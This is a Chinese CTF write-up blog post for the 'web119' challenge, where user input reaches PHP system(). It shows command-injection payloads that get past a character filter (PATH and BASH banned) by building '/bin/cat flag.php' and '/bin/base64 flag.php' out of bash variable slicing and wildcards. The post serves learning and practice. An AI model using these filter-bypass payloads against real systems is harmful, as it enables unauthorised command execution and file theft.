web119笔记(PATH、BASH过滤)

<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" href="style.css">
</head>
<body>
    
    <div style="width:400px;height:10px;margin:100px auto">
        <form action='' method=post> 
            <input type='text' name='code' placeholder="给你打开一扇通往结界的门,可惜钥匙你是找不到的 ">
        </form>
        <!-- system($code);-->
    </div>
</body>
</html>

在之前的基础上ban掉了PATH、BASH

可惜了,本来PATH过滤掉了之后想构造head,因为已经能拿到he,但是BASH⼜被过滤就没办法

${HOME:${#HOSTNAME}:${#SHLVL}} ====> t

${PWD:${Z}:${#SHLVL}} ====> /

/bin/cat flag.php            ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

多次发现PATH被过滤了,而PWD没有(看回显就知道了),首先,我假设执行命令是/bin/cat flag.php,这里bin,flag.php都可以用通配符过滤了,这个cat不行, 我们可以来看一下 Linux 系统的 bin 目录下符合要求的命令:

可以看到还是很多的,因此并不一定会执行到我们期望的那个命令

所以可以用??t,构造前,先知道

$PWD /var/www/html

${USER}=www-data

${#}=0

${##}=1

${#SHLVL}=${##=${#?}=1

${SHLVL}=2

${#IFS}=3

${PWD:${#}:${##}} // 表示 /

${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t

因此/bin/cat flag.php 就是${PWD:${#}:${##}}???${PWD:${#}:${##}}??${PWD:~${SHLVL}:${#SHLVL}} ????.???

=== /???/??t ????.???

还要有一种解法是设命令为/bin/base64 flag.php

这里主要是把4构造出来, 然后就需要构造 4 这个字符了,这里可以使用RANDOMRANDOM是一个变量值,随机出现整数,范围为:0~32767,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样

如果需要每次产生的随机数顺序不一样的话,可以在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子 回到构造 4 这个字符上,再Linux中,${#xxx}显示的是这个数值的位数,而如果不加 # 的话就是显示这个数原本的值,比如12345再加上#后就是5

在RANDOM中产生的随机数可以是1、2、3、4、5这个5个数,但1,2,3这三个出现的概率很低,所以基本上是4或5,因此如果要使用RANDOM的话其实也有碰运气的成分在里面,没准就撞到了正确的数。最终得

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

 

 

posted @ 2025-03-17 14:25  justdoIT*  阅读(9)  评论(0)    收藏  举报